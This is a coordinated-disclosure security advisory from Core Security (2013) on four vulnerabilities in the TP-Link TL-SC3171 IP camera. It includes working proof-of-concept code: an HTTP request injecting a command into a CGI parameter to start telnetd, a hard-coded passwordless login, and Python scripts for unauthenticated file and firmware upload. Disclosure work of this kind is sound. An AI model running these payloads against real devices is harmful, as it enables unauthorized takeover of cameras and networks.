TP-Link TL-SC3171 Command Execution / Shell Upload / Bypass

`Core Security - Corelabs Advisory  
http://corelabs.coresecurity.com/  
  
Multiple Vulnerabilities in TP-Link TL-SC3171 IP Cameras  
  
  
1. *Advisory Information*  
  
Title: Multiple Vulnerabilities in TP-Link TL-SC3171 IP Cameras  
Advisory ID: CORE-2013-0618  
Advisory URL:  
http://www.coresecurity.com/advisories/multiple-vulnerabilities-tp-link-tl-sc3171-ip-cameras  
Date published: 2013-07-30  
Date of last update: 2013-07-30  
Vendors contacted: TP-Link  
Release mode: Coordinated release  
  
  
2. *Vulnerability Information*  
  
Class: OS command injection [CWE-78], Use of hard-coded credentials  
[CWE-798], Authentication Bypass Issues [CWE-592], Missing  
Authentication for Critical Function [CWE-306]  
Impact: Code execution, Security bypass  
Remotely Exploitable: Yes  
Locally Exploitable: No  
CVE Name: CVE-2013-2578, CVE-2013-2579, CVE-2013-2580, CVE-2013-2581  
  
  
3. *Vulnerability Description*  
  
Multiple vulnerabilities have been found in TP-Link TL-SC3171 [1] IP  
camera running firmware version LM.1.6.18P12_sign5 that could allow an  
attacker:  
  
1. [CVE-2013-2578] to execute arbitrary commands through the file  
'/cgi-bin/admin/servetest'.  
2. [CVE-2013-2579] to execute arbitrary commands in a shell using  
hard-coded credentials.  
3. [CVE-2013-2580] to perform unauthenticated remote file uploads.  
5. [CVE-2013-2581] to perform unauthenticated remote firmware upgrades.  
  
3.1. *Attack Paths*  
  
There are several attack paths that can be exploited by combining these  
vulnerabilities with other ones discovered by Eliezer Varade Lopez,  
Javier Repiso Sanchez and Jonas Ropero Castillo [2]. Additional attack  
paths are available, but the ones listed here allow understanding how an  
attacker could compromise the affected device.  
  
3.1.1. *Attack Path I*  
  
(Authentication: none)  
  
1. Upload a rooted firmware exploiting [CVE-2013-2581].  
2. Reboot the device by exploiting 'http://<ip-cam>/cgi-bin/reboot'[2].  
  
3.1.2. *Attack Path II*  
  
(Authentication: bypassed)  
  
1. Reset the device to its factory defaults exploiting  
'http://<ip-cam>/cgi-bin/hardfactorydefault'[2]. After this step, the  
authentication can by bypassed by using 'admin:admin' as a valid  
'username:password'.  
2. Reboot the device by exploiting 'http://<ip-cam>/cgi-bin/reboot'[2].  
3. Start the Telnet service exploiting [CVE-2013-2578].  
4. Login to the Telnet service using user 'qmik' (no password)  
[CVE-2013-2579], and use the device as a pivoting point.  
  
4. *Vulnerable Packages*  
  
Tests and PoC were run on:  
  
. TP-Link TL-SC3171 IP camera running firmware version  
LM.1.6.18P12_sign5.  
. Other TP-Link cameras and firmware versions are probably affected  
too, but they were not checked.  
  
5. *Vendor Information, Solutions and Workarounds*  
  
Vendor provides the links to (pre-release) patched firmware versions  
[3]. The final official versions will be released in the next few days.  
Please, contact TP-Link for further information.  
  
6. *Credits*  
  
These vulnerabilities were discovered by Flavio de Cristofaro and  
researched with the help of Andres Blanco from Core Security  
Technologies. The publication of this advisory was coordinated by  
Fernando Miranda from Core Advisories Team.  
  
  
7. *Technical Description / Proof of Concept Code*  
  
7.1. *OS Command Injection in servetest*  
  
[CVE-2013-2578] The file '/cgi-bin/admin/servetest' has an OS command  
injection in several of its parameters that can be exploited by an  
authenticated user to execute arbitrary commands. The following proof of  
concept starts the telnetd service:  
  
/-----  
GET  
/cgi-bin/admin/servetest?cmd=smtp&ServerName=1.1.1.1;/usr/sbin/telnetd;&ServerPort=25&ServerSSL=off&RcptToAddr1=q@q&AdminAddr=q@q  
HTTP/1.1  
Accept: */*  
Accept-Language: en-us  
Referer: http://192.168.1.100/progress.htm  
If-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMT  
Accept-Encoding: gzip, deflate  
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64;  
Trident/5.0)  
Host: 192.168.1.100  
Proxy-Connection: Keep-Alive  
Cookie: VideoFmt=1  
Authorization: Basic YWRtaW46YWRtaW4=  
Content-Length: 2  
-----/  
  
7.2. *Hard-coded credentials in telnet service*  
  
[CVE-2013-2579] The affected system includes a hard-coded login with no  
password which could be used by a remote attacker to access the OS of  
the affected device using the built-in telnet service:  
  
/-----  
username: qmik  
password: (none)   
-----/  
  
The 'qmik' user is allowed to execute the command 'su', allowing the  
user to execute arbitrary commands with root level privileges. The  
telnet service can be enabled through [CVE-2013-2578].  
  
  
7.3. *Unauthenticated remote file uploads*  
  
[CVE-2013-2580] The file '/cgi-bin/uploadfile' allows an unauthenticated  
user to perform remote file uploads as shown in the following Python PoC:  
  
  
/-----  
import requests  
  
fileName = "lala.tmp"  
f = open(fileName, "w")  
f.write("lala")  
f.close()  
requests.post("http://192.168.1.100/cgi-bin/uploadfile",  
files={fileName: open(fileName, "rb")})  
-----/  
  
The uploaded file (in this example lala.tmp) will be hosted in the  
'/mnt/mtd' directory.  
  
  
7.4. *Unauthenticated remote firmware upgrades*  
  
[CVE-2013-2581] The file '/cgi-bin/firmwareupgrade' allows an  
unauthenticated user to perform remote firmware upgrades as shown in the  
following Python POC:  
  
  
/-----  
import requests  
  
requests.get("http://192.168.1.100/cgi-bin/firmwareupgrade?action=preset")  
fileName = "COM_T01F001_LM.1.6.18P12_sign5_TPL.TL-SC3171.bin"  
cookies={"VideoFmt":"1"}  
requests.post("http://192.168.1.100/cgi-bin/firmwareupgrade?action=preset",  
files={"SetFWFileName" : (fileName, open(fileName, "rb"))}, cookies=cookies)  
-----/  
  
  
8. *Report Timeline*  
  
. 2013-06-12:  
Core Security Technologies notifies the TP-Link team of the vulnerability.  
  
. 2013-06-18:  
Core Security Technologies notifies the TP-Link team of the  
vulnerability and set the estimated publication date of the advisory for  
July 10, 2013.  
  
. 2013-06-19:  
TP-Link answers saying that these vulnerabilities are the same as the  
ones published on May 28, 2013.  
  
. 2013-06-26:  
Core Security Technologies notifies the TP-Link team that these are new,  
different, vulnerabilities and sends a draft report with technical  
information.  
  
. 2013-06-26:  
Vendor acknowledges the receipt of the technical report.  
  
. 2013-07-01:  
Vendor requests additional technical information.  
  
. 2013-07-04:  
Core re-sends an improved technical report with additional information  
regarding possible attack paths [Sec. 3.1].  
  
. 2013-07-10:  
First release date missed.  
  
. 2013-07-15:  
Core asks for a status update.  
  
. 2013-07-22:  
Vendor notifies that a patched firmware version will be released on July  
29th.  
  
. 2013-07-22:  
Core re-schedules the advisory publication for July 29th.  
  
. 2013-07-26:  
Vendor notifies that a (pre-release) patched firmware version is  
available [3] and being tested. The final firmware version will be  
released in the next few days.  
  
. 2013-07-30:  
Advisory CORE-2013-0618 is published.  
  
  
9. *References*  
  
[1] TP-Link TL-SC3171,  
http://www.tp-link.com/en/products/details/?categoryid=230&model=TL-SC3171.  
[2] Security Analysis of IP video surveillance cameras,  
http://seclists.org/fulldisclosure/2013/Jun/84.  
[3] See the online version,  
http://www.coresecurity.com/advisories/multiple-vulnerabilities-tp-link-tl-sc3171-ip-cameras.  
  
  
10. *About CoreLabs*  
  
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with anticipating the future needs and requirements for information  
security technologies. We conduct our research in several important  
areas of computer security including system vulnerabilities, cyber  
attack planning and simulation, source code auditing, and cryptography.  
Our results include problem formalization, identification of  
vulnerabilities, novel solutions and prototypes for new technologies.  
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11. *About Core Security Technologies*  
  
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with security test and measurement solutions that continuously identify  
and demonstrate real-world exposures to their most critical assets. Our  
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12. *Disclaimer*  
  
The contents of this advisory are copyright (c) 2013 Core Security  
Technologies and (c) 2013 CoreLabs, and are licensed under a Creative  
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)  
License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/  
  
  
13. *PGP/GPG Keys*  
  
This advisory has been signed with the GPG key of Core Security  
Technologies advisories team, which is available for download at  
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.  
  
  
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